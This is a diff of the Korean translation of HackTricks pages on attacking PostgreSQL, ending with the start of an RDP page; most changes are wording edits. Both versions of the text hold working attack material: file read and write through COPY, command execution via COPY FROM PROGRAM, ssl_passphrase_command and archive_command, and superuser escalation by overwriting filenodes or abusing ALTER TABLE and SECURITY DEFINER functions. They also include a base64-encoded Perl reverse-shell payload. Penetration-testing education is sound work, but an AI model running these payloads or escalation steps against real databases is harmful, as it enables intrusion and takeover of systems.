Postgres에서 **사용자**, **그룹**, **역할**은 **동일**합니다. 이는 **사용 방식** 및 **로그인 허용 여부**에 따라 달라집니다.
|
||||
{% endhint %}
|
||||
```sql
|
||||
# Get users roles
|
||||
|
@ -261,7 +255,7 @@ SELECT * FROM pg_proc;
|
|||
|
||||
### 디렉토리 및 파일 읽기
|
||||
|
||||
이 [**커밋**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)에서 정의된 **`DEFAULT_ROLE_READ_SERVER_FILES`** 그룹의 구성원(명칭은 **`pg_read_server_files`**) 및 **슈퍼 사용자**는 **`COPY`** 메소드를 어떤 경로에서든 사용할 수 있습니다 (`genfile.c`의 `convert_and_check_filename`을 확인하세요):
|
||||
이 [**커밋**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)에서 정의된 **`DEFAULT_ROLE_READ_SERVER_FILES`** 그룹의 구성원(명칭은 **`pg_read_server_files`**) 및 **슈퍼 사용자**는 **`COPY`** 메소드를 어떤 경로에서든 사용할 수 있습니다(`genfile.c`의 `convert_and_check_filename`을 확인하세요):
|
||||
```sql
|
||||
# Read file
|
||||
CREATE TABLE demo(t text);
|
||||
|
@ -304,7 +298,7 @@ GRANT pg_read_server_files TO username;
|
|||
|
||||
### 간단한 파일 쓰기
|
||||
|
||||
**슈퍼 사용자** 및 **`pg_write_server_files`** 멤버만이 파일을 쓰기 위해 copy를 사용할 수 있습니다.
|
||||
copy를 사용하여 파일을 쓰려면 **슈퍼 사용자** 및 **`pg_write_server_files`** 멤버만 사용할 수 있습니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
|
@ -320,7 +314,7 @@ GRANT pg_write_server_files TO username;
|
|||
[**추가 정보**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
COPY는 새 줄 문자를 처리할 수 없으므로 **base64 페이로드를 사용하더라도 한 줄로 보내야 합니다**.\
|
||||
COPY는 새 줄 문자를 처리할 수 없으므로 **원 라이너를 보내야 합니다**.\
|
||||
이 기술의 매우 중요한 제한 사항은 **`copy`를 사용하여 이진 파일을 쓸 수 없다는 것이며 일부 이진 값이 수정됩니다.**
|
||||
|
||||
### **이진 파일 업로드**
|
||||
|
@ -339,30 +333,30 @@ COPY는 새 줄 문자를 처리할 수 없으므로 **base64 페이로드를
|
|||
|
||||
### 로컬 파일 쓰기를 통한 PostgreSQL 테이블 데이터 업데이트
|
||||
|
||||
PostgreSQL 서버 파일을 읽고 쓸 권한이 있다면 [PostgreSQL 데이터 디렉토리](https://www.postgresql.org/docs/8.1/storage.html)에서 **연관된 파일 노드를 덮어쓰는 방식으로 서버의 모든 테이블을 업데이트**할 수 있습니다. **이 기술에 대한 자세한 내용은** [**여기**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)에서 확인할 수 있습니다.
|
||||
PostgreSQL 서버 파일을 읽고 쓸 권한이 있는 경우 [PostgreSQL 데이터 디렉토리](https://www.postgresql.org/docs/8.1/storage.html)에서 **연결된 파일 노드를 덮어쓰는 방식으로 서버의 모든 테이블을 업데이트**할 수 있습니다. **이 기술에 대한 자세한 내용은** [**여기**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)에서 확인할 수 있습니다.
|
||||
|
||||
수행해야 할 단계:
|
||||
필요한 단계:
|
||||
|
||||
1. PostgreSQL 데이터 디렉토리 획득
|
||||
1. PostgreSQL 데이터 디렉토리 획득
|
||||
|
||||
```sql
|
||||
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||||
```
|
||||
|
||||
**참고:** 설정에서 현재 데이터 디렉토리 경로를 검색할 수 없는 경우 `SELECT version()` 쿼리를 통해 주요 PostgreSQL 버전을 조회하고 경로를 브루트 포스할 수 있습니다. PostgreSQL Unix 설치의 일반적인 데이터 디렉토리 경로는 `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`입니다. 일반적인 클러스터 이름은 `main`입니다.
|
||||
2. 대상 테이블과 연관된 파일 노드에 대한 상대 경로 획득
|
||||
2. 대상 테이블과 연결된 파일 노드에 대한 상대 경로 획득
|
||||
|
||||
```sql
|
||||
SELECT pg_relation_filepath('{TABLE_NAME}')
|
||||
```
|
||||
|
||||
이 쿼리는 `base/3/1337`과 같은 결과를 반환해야 합니다. 디스크 상의 전체 경로는 `$DATA_DIRECTORY/base/3/1337`, 즉 `/var/lib/postgresql/13/main/base/3/1337`이 될 것입니다.
|
||||
3. `lo_*` 함수를 통해 파일 노드 다운로드
|
||||
이 쿼리는 `base/3/1337`과 같은 결과를 반환해야 합니다. 디스크 상의 전체 경로는 `$DATA_DIRECTORY/base/3/1337`, 즉 `/var/lib/postgresql/13/main/base/3/1337`이어야 합니다.
|
||||
3. `lo_*` 함수를 통해 파일 노드 다운로드
|
||||
|
||||
```sql
|
||||
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
|
||||
```
|
||||
4. 대상 테이블과 연관된 데이터 유형 획득
|
||||
4. 대상 테이블과 연결된 데이터 유형 획득
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
|
@ -383,20 +377,20 @@ JOIN pg_class
|
|||
ON pg_attribute.attrelid = pg_class.oid
|
||||
WHERE pg_class.relname = '{TABLE_NAME}';
|
||||
```
|
||||
5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)를 사용하여 [파일 노드를 편집](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); 모든 `rol*` 부울 플래그를 1로 설정하여 전체 권한을 부여합니다.
|
||||
5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)를 사용하여 [파일 노드를 편집](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); 모든 `rol*` 부울 플래그를 1로 설정하여 전체 권한을 부여합니다.
|
||||
|
||||
```bash
|
||||
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
|
||||
```
|
||||
|
||||
![PostgreSQL Filenode Editor 데모](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
|
||||
6. `lo_*` 함수를 통해 편집된 파일 노드를 다시 업로드하고 디스크 상의 원본 파일을 덮어씁니다.
|
||||
6. `lo_*` 함수를 통해 편집된 파일 노드를 다시 업로드하고 디스크 상의 원본 파일을 덮어씁니다.
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
|
||||
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
|
||||
```
|
||||
7. _(선택 사항)_ 비용이 많이 드는 SQL 쿼리를 실행하여 인메모리 테이블 캐시를 지웁니다.
|
||||
7. _(선택 사항)_ 비용이 많이 드는 SQL 쿼리를 실행하여 인메모리 테이블 캐시를 지웁니다.
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
|
||||
|
@ -437,13 +431,13 @@ GRANT pg_execute_server_program TO username;
|
|||
또는 **metasploit**의 `multi/postgres/postgres_copy_from_program_cmd_exec` 모듈을 사용할 수 있습니다.\
|
||||
이 취약점에 대한 자세한 정보는 [**여기**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)에서 확인할 수 있습니다. CVE-2019-9193로 보고되었지만, PostgreSQL은 이것을 [기능으로 선언하고 수정하지 않을 것](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/)이라고 선언했습니다.
|
||||
|
||||
### PostgreSQL 언어를 이용한 RCE
|
||||
### PostgreSQL 언어를 사용한 RCE
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
|
||||
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### PostgreSQL 확장 기능을 이용한 RCE
|
||||
### PostgreSQL 확장 기능을 사용한 RCE
|
||||
|
||||
이전 게시물에서 **이진 파일 업로드하는 방법**을 배웠다면 **PostgreSQL 확장 기능을 업로드하고 로드하여 RCE를 획득**해 볼 수 있습니다.
|
||||
|
||||
|
@ -463,13 +457,13 @@ PostgreSQL의 **구성 파일**은 **데이터베이스를 실행하는 postgres
|
|||
|
||||
#### **ssl\_passphrase\_command**를 사용한 RCE
|
||||
|
||||
이 기법에 대한 자세한 정보는 [여기에서](https://pulsesecurity.co.nz/articles/postgres-sqli) 확인할 수 있습니다.
|
||||
이 기법에 대한 자세한 정보는 [여기](https://pulsesecurity.co.nz/articles/postgres-sqli)에서 확인할 수 있습니다.
|
||||
|
||||
구성 파일에는 RCE로 이어질 수 있는 몇 가지 흥미로운 속성이 있습니다:
|
||||
|
||||
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` 데이터베이스의 개인 키 경로
|
||||
* `ssl_passphrase_command = ''` 개인 파일이 암호로 보호(암호화)되어 있는 경우 postgresql은 **이 속성에 지정된 명령을 실행**합니다.
|
||||
* `ssl_passphrase_command_supports_reload = off` 이 속성이 **on**이면 키가 암호로 보호되어 있으면 **pg_reload_conf()**가 실행될 때 **명령이 실행**됩니다.
|
||||
* `ssl_passphrase_command = ''` 개인 파일이 비밀번호로 보호(암호화)되어 있는 경우 postgresql은 **이 속성에 지정된 명령을 실행**합니다.
|
||||
* `ssl_passphrase_command_supports_reload = off` 이 속성이 **on**이면 키가 비밀번호로 보호되어 있으면 **pg_reload_conf()**가 실행될 때 **명령이 실행**됩니다.
|
||||
|
||||
따라서 공격자는 다음을 수행해야 합니다:
|
||||
|
||||
|
@ -487,7 +481,7 @@ PostgreSQL의 **구성 파일**은 **데이터베이스를 실행하는 postgres
|
|||
|
||||
#### **archive\_command**를 사용한 RCE
|
||||
|
||||
**WAL에 대한 이 구성 및 정보에 대한 자세한 내용은 여기에서** [**알아보세요**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
|
||||
**WAL에 대한 이 구성 및 정보에 대한 자세한 내용은 여기**에서([**링크**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)) 확인할 수 있습니다.
|
||||
|
||||
구성 파일의 또 다른 공격 가능한 속성은 `archive_command`입니다.
|
||||
|
||||
|
@ -498,11 +492,11 @@ PostgreSQL의 **구성 파일**은 **데이터베이스를 실행하는 postgres
|
|||
1. 아카이브 모드가 활성화되어 있는지 확인: `SELECT current_setting('archive_mode')`
|
||||
2. 페이로드로 `archive_command` 덮어쓰기. 예를 들어, 역쉘: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. 구성 다시로드: `SELECT pg_reload_conf()`
|
||||
4. WAL 작업을 실행하도록 강제하여 아카이브 명령을 호출: `SELECT pg_switch_wal()` 또는 일부 Postgres 버전의 경우 `SELECT pg_switch_xlog()`
|
||||
4. WAL 작업을 실행하도록 강제하면 아카이브 명령이 호출됩니다: `SELECT pg_switch_wal()` 또는 일부 Postgres 버전의 경우 `SELECT pg_switch_xlog()`
|
||||
|
||||
#### **preload 라이브러리를 사용한 RCE**
|
||||
|
||||
이 기법에 대한 자세한 정보는 [여기에서](https://adeadfed.com/posts/postgresql-select-only-rce/) 확인할 수 있습니다.
|
||||
이 기법에 대한 자세한 정보는 [여기](https://adeadfed.com/posts/postgresql-select-only-rce/)에서 확인할 수 있습니다.
|
||||
|
||||
이 공격 벡터는 다음 구성 변수를 활용합니다:
|
||||
|
||||
|
@ -565,7 +559,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
|
|||
```
|
||||
6. 단계 2-3에서 생성된 악의적인 `postgresql.conf`를 업로드하고 원본을 덮어쓰기
|
||||
7. 단계 5에서 생성된 `payload.so`를 `/tmp` 디렉토리에 업로드
|
||||
8. 서버 구성을 다시로드하려면 서버를 다시 시작하거나 `SELECT pg_reload_conf()` 쿼리를 호출
|
||||
8. 서버 구성을 다시로드하려면 서버를 다시 시작하거나 `SELECT pg_reload_conf()` 쿼리를 호출합니다
|
||||
9. 다음 DB 연결 시 역쉘 연결을 받게 됩니다.
|
||||
## **Postgres 권한 상승**
|
||||
|
||||
|
@ -575,7 +569,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
|
|||
|
||||
[**문서**](https://www.postgresql.org/docs/13/sql-grant.html)에 따르면: _**`CREATEROLE`** 권한을 가진 역할은 **슈퍼유저가 아닌** **어떤 역할의 멤버십을 부여하거나 취소**할 수 있습니다._
|
||||
|
||||
따라서, **`CREATEROLE`** 권한이 있다면 슈퍼유저가 아닌 다른 **역할**에 대한 액세스 권한을 부여할 수 있으며, 이를 통해 파일을 읽고 쓰거나 명령을 실행할 수 있습니다:
|
||||
따라서, **`CREATEROLE`** 권한이 있다면 슈퍼유저가 아닌 다른 **역할**에 대한 액세스 권한을 부여하여 파일을 읽고 쓰거나 명령을 실행할 수 있습니다:
|
||||
```sql
|
||||
# Access to execute commands
|
||||
GRANT pg_execute_server_program TO username;
|
||||
|
@ -586,14 +580,14 @@ GRANT pg_write_server_files TO username;
|
|||
```
|
||||
#### 비밀번호 수정
|
||||
|
||||
이 역할을 가진 사용자는 다른 **슈퍼유저가 아닌 사용자들의 비밀번호를 변경**할 수도 있습니다:
|
||||
이 역할을 가진 사용자는 다른 **슈퍼유저가 아닌 사용자들**의 **비밀번호를 변경**할 수도 있습니다:
|
||||
```sql
|
||||
#Change password
|
||||
ALTER USER user_name WITH PASSWORD 'new_password';
|
||||
```
|
||||
#### SUPERUSER로 권한 상승
|
||||
|
||||
일반적으로 **로컬 사용자가 암호를 제공하지 않고도 PostgreSQL에 로그인할 수 있는 경우가 많습니다**. 따라서 코드를 실행할 **권한을 획득한 후에는** 이러한 권한을 악용하여 **`SUPERUSER`** 역할을 부여받을 수 있습니다:
|
||||
**로컬 사용자가 암호를 제공하지 않고 PostgreSQL에 로그인할 수 있는 것이 일반적**입니다. 따라서 **코드를 실행할 권한을 얻은 후** 이러한 권한을 남용하여 **`SUPERUSER`** 역할을 부여할 수 있습니다:
|
||||
```sql
|
||||
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
||||
```
|
||||
|
@ -611,13 +605,13 @@ host all all ::1/128 trust
|
|||
|
||||
### **ALTER TABLE 권한 상승**
|
||||
|
||||
[**이 writeup**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)에서는 사용자에게 부여된 ALTER TABLE 권한을 악용하여 Postgres GCP에서 권한 상승이 가능했던 방법에 대해 설명되어 있습니다.
|
||||
[**이 writeup**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)에서는 사용자에게 부여된 ALTER TABLE 권한을 악용하여 Postgres GCP에서 **권한 상승**이 가능했던 방법에 대해 설명되어 있습니다.
|
||||
|
||||
**다른 사용자를 테이블 소유자로 만들려고** 시도하면 **오류**가 발생하여 방지되어야 하지만, GCP에서는 이 **옵션을 슈퍼 사용자가 아닌 포스트그레스 사용자에게** 제공했습니다:
|
||||
**다른 사용자를 테이블 소유자로 만들려고** 시도하면 이를 방지하는 **오류**가 발생해야 하지만, GCP에서는 이 **옵션을 슈퍼 사용자가 아닌 포스트그레스 사용자에게** 부여했습니다:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**INSERT/UPDATE/ANALYZE** 명령이 **인덱스 함수가 있는 테이블**에서 실행될 때, **함수**가 명령의 일부로 호출되며 **테이블 소유자의 권한**으로 실행됩니다. 함수가 있는 인덱스를 생성하고 해당 테이블에 대한 소유자 권한을 **슈퍼 사용자에게 부여**한 다음, 악의적인 함수가 포함된 테이블을 ANALYZE하여 소유자의 권한을 사용하여 명령을 실행할 수 있습니다.
|
||||
**INSERT/UPDATE/ANALYZE** 명령이 **인덱스 함수가 있는 테이블**에서 실행될 때, **함수**가 명령의 일부로 **호출**되며 **테이블 소유자의 권한**으로 실행됩니다. 함수가 있는 인덱스를 생성하고 해당 테이블에 대한 소유자 권한을 **슈퍼 사용자**에게 부여한 다음, 악의적인 함수가 포함된 ANALYZE를 실행하여 명령을 실행할 수 있습니다. 왜냐하면 그것은 소유자의 권한을 사용하기 때문입니다.
|
||||
```c
|
||||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||||
|
@ -652,7 +646,7 @@ LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM
|
|||
|
||||
ANALYZE public.temp_table;
|
||||
```
|
||||
그러면 `shell_commands_results` 테이블에는 실행된 코드의 출력이 포함됩니다:
|
||||
그럼 `shell_commands_results` 테이블에는 실행된 코드의 출력이 포함됩니다:
|
||||
```
|
||||
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
||||
```
|
||||
|
@ -671,7 +665,7 @@ dbname=somedb',
|
|||
RETURNS (result TEXT);
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
이전 쿼리가 작동하려면 **`dblink` 함수가 존재해야**합니다. 그렇지 않은 경우 다음과 같이 만들어 볼 수 있습니다.
|
||||
이전 쿼리가 작동하려면 **`dblink` 함수가 존재해야 합니다**. 그렇지 않은 경우 다음과 같이 만들어 볼 수 있습니다.
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
|
@ -689,9 +683,9 @@ RETURNS (result TEXT);
|
|||
```sql
|
||||
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
||||
```
|
||||
### 사용자 정의 함수와 SECURITY DEFINER
|
||||
### **보안 정의자(SECURITY DEFINER)로 정의된 사용자 정의 함수**
|
||||
|
||||
[**이 문서**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)에서, 펜테스터들은 IBM에서 제공하는 postgres 인스턴스 내에서 특정 함수에 **SECURITY DEFINER 플래그**가 있는 것을 발견하여 권한 상승을 성공했습니다:
|
||||
[**이 문서**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)에서, 펜테스터들은 IBM에서 제공하는 postgres 인스턴스 내에서 **SECURITY DEFINER 플래그가 있는 이 함수를 발견**하여 권한 상승(privesc)에 성공했습니다:
|
||||
|
||||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||||
RETURNS text
|
||||
|
@ -712,7 +706,7 @@ PERFORM dblink_disconnect();
|
|||
…
|
||||
</code></pre>
|
||||
|
||||
[**문서에서 설명한 것**](https://www.postgresql.org/docs/current/sql-createfunction.html)과 같이, **SECURITY DEFINER가 지정된 함수는** 해당 **소유자의 권한으로 실행**됩니다. 따라서, 함수가 **SQL Injection에 취약하거나 공격자가 제어하는 매개변수로 권한이 필요한 작업을 수행하는 경우**, postgres 내에서 **권한 상승을 악용**할 수 있습니다.
|
||||
[**문서에서 설명한 것**](https://www.postgresql.org/docs/current/sql-createfunction.html)과 같이, **SECURITY DEFINER가 지정된 함수는** 해당 **소유자의 권한으로 실행**됩니다. 따라서, 함수가 **SQL Injection에 취약**하거나 **공격자가 제어하는 매개변수로 권한이 있는 작업을 수행**한다면, postgres 내에서 **권한 상승이 가능**할 수 있습니다.
|
||||
|
||||
이전 코드의 4번째 줄에서 함수에 **SECURITY DEFINER** 플래그가 있는 것을 확인할 수 있습니다.
|
||||
```sql
|
||||
|
@ -739,20 +733,20 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
|||
다음 권한 상승 벡터는 제한된 SQLi 컨텍스트에서 특히 유용하며 모든 단계를 중첩된 SELECT 문을 통해 수행할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
만약 **PostgreSQL 서버 파일을 읽고 쓸 수 있다면**, PostgreSQL 온디스크 filenode를 덮어쓰면서 **슈퍼유저가 될 수 있습니다**. 이 filenode는 내부 `pg_authid` 테이블과 관련이 있습니다.
|
||||
만약 **PostgreSQL 서버 파일을 읽고 쓸 수 있다면**, PostgreSQL 온디스크 파일노드를 덮어쓰는 것으로 **슈퍼유저가 될 수 있습니다**. 이는 내부 `pg_authid` 테이블과 관련된 PostgreSQL 온디스크 파일노드를 덮어쓰는 것입니다.
|
||||
|
||||
**이 기술**에 대해 더 읽어보세요 [**여기**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
|
||||
**이 기술에 대해 더 알아보세요** [**여기**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
|
||||
|
||||
공격 단계는 다음과 같습니다:
|
||||
|
||||
1. PostgreSQL 데이터 디렉토리 획득
|
||||
2. `pg_authid` 테이블과 관련된 filenode에 대한 상대 경로 획득
|
||||
3. `lo_*` 함수를 통해 filenode 다운로드
|
||||
2. `pg_authid` 테이블과 관련된 파일노드에 대한 상대 경로 획득
|
||||
3. `lo_*` 함수를 통해 파일노드 다운로드
|
||||
4. `pg_authid` 테이블과 관련된 데이터 유형 획득
|
||||
5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)를 사용하여 [filenode 편집](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); 모든 `rol*` 부울 플래그를 1로 설정하여 전체 권한 부여
|
||||
6. `lo_*` 함수를 통해 편집된 filenode를 다시 업로드하고 디스크의 원본 파일을 덮어씁니다
|
||||
7. _(선택 사항)_ 비용이 많이 드는 SQL 쿼리를 실행하여 인메모리 테이블 캐시를 지웁니다
|
||||
8. 이제 전체 슈퍼 관리자의 권한을 갖게 될 것입니다.
|
||||
5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)를 사용하여 [파일노드 편집](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); 모든 `rol*` 부울 플래그를 1로 설정하여 전체 권한 부여
|
||||
6. `lo_*` 함수를 통해 편집된 파일노드 재업로드하고 디스크의 원본 파일 덮어쓰기
|
||||
7. _(선택 사항)_ 비용이 많이 드는 SQL 쿼리를 실행하여 인메모리 테이블 캐시 지우기
|
||||
8. 이제 전체 슈퍼관리자의 권한을 갖게 될 것입니다.
|
||||
|
||||
## **POST**
|
||||
```
|
||||
|
@ -778,8 +772,8 @@ sudo service postgresql restart
|
|||
### pgadmin
|
||||
|
||||
[pgadmin](https://www.pgadmin.org)은 PostgreSQL을 위한 관리 및 개발 플랫폼입니다.\
|
||||
**pgadmin4.db** 파일 내에서 **암호**를 찾을 수 있습니다.\
|
||||
해당 암호는 [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) 스크립트 내의 _**decrypt**_ 함수를 사용하여 복호화할 수 있습니다.
|
||||
_**pgadmin4.db**_ 파일 내에서 **비밀번호**를 찾을 수 있습니다.\
|
||||
해당 비밀번호는 [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) 스크립트 내의 _**decrypt**_ 함수를 사용하여 복호화할 수 있습니다.
|
||||
```bash
|
||||
sqlite3 pgadmin4.db ".schema"
|
||||
sqlite3 pgadmin4.db "select * from user;"
|
||||
|
@ -788,6 +782,6 @@ string pgadmin4.db
|
|||
```
|
||||
### pg\_hba
|
||||
|
||||
PostgreSQL에서 클라이언트 인증은 **pg\_hba.conf**라는 구성 파일을 통해 관리됩니다. 이 파일에는 각각 연결 유형, 클라이언트 IP 주소 범위 (해당하는 경우), 데이터베이스 이름, 사용자 이름 및 일치하는 연결에 사용할 인증 방법을 지정하는 일련의 레코드가 포함되어 있습니다. 연결 유형, 클라이언트 주소, 요청된 데이터베이스 및 사용자 이름과 일치하는 첫 번째 레코드가 인증에 사용됩니다. 인증에 실패하면 대체 또는 백업이 없습니다. 일치하는 레코드가 없으면 액세스가 거부됩니다.
|
||||
PostgreSQL의 클라이언트 인증은 **pg\_hba.conf**라는 구성 파일을 통해 관리됩니다. 이 파일에는 각각 연결 유형, 클라이언트 IP 주소 범위 (해당하는 경우), 데이터베이스 이름, 사용자 이름 및 일치하는 연결에 사용할 인증 방법을 지정하는 일련의 레코드가 포함되어 있습니다. 연결 유형, 클라이언트 주소, 요청된 데이터베이스 및 사용자 이름과 일치하는 첫 번째 레코드가 인증에 사용됩니다. 인증이 실패하면 대체 또는 백업이 없습니다. 일치하는 레코드가 없으면 액세스가 거부됩니다.
|
||||
|
||||
pg\_hba.conf에서 사용 가능한 암호 기반 인증 방법은 **md5**, **crypt**, **password**입니다. 이러한 방법은 암호가 전송되는 방식에 따라 MD5 해싱, crypt 암호화 또는 일반 텍스트로 다릅니다. 중요한 점은 crypt 방법은 pg\_authid에서 암호화된 암호와 함께 사용할 수 없다는 것입니다.
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행하십시오. 우리는 펜테스터를 대체하지 않습니다 - 사용자에게 시간을 돌려주기 위해 사용자 정의 도구, 탐지 및 공격 모듈을 개발하여 더 깊이 파고들고 쉘을 열고 즐기도록 합니다.
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능으로 어디서든 전체 펜테스트를 실행하고, recon부터 보고서 작성까지 가능합니다. 우리는 펜테스터를 대체하지 않습니다 - 사용자에게 시간을 돌려주기 위해 사용자 정의 도구, 탐지 및 공격 모듈을 개발하여 더 깊이 파고들고, 쉘을 열고 즐길 수 있도록 합니다.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
Microsoft에서 개발된 **원격 데스크톱 프로토콜** (**RDP**)은 네트워크를 통해 컴퓨터 간의 그래픽 인터페이스 연결을 가능하게 하는 것을 목적으로 합니다. 이러한 연결을 설정하기 위해 사용자는 **RDP** 클라이언트 소프트웨어를 사용하며 동시에 원격 컴퓨터는 **RDP** 서버 소프트웨어를 운영해야 합니다. 이 설정을 통해 먼 컴퓨터의 데스크톱 환경을 원격 사용자의 로컬 장치로 가져와 사용자가 원격 컴퓨터를 원활하게 제어하고 액세스할 수 있습니다.
|
||||
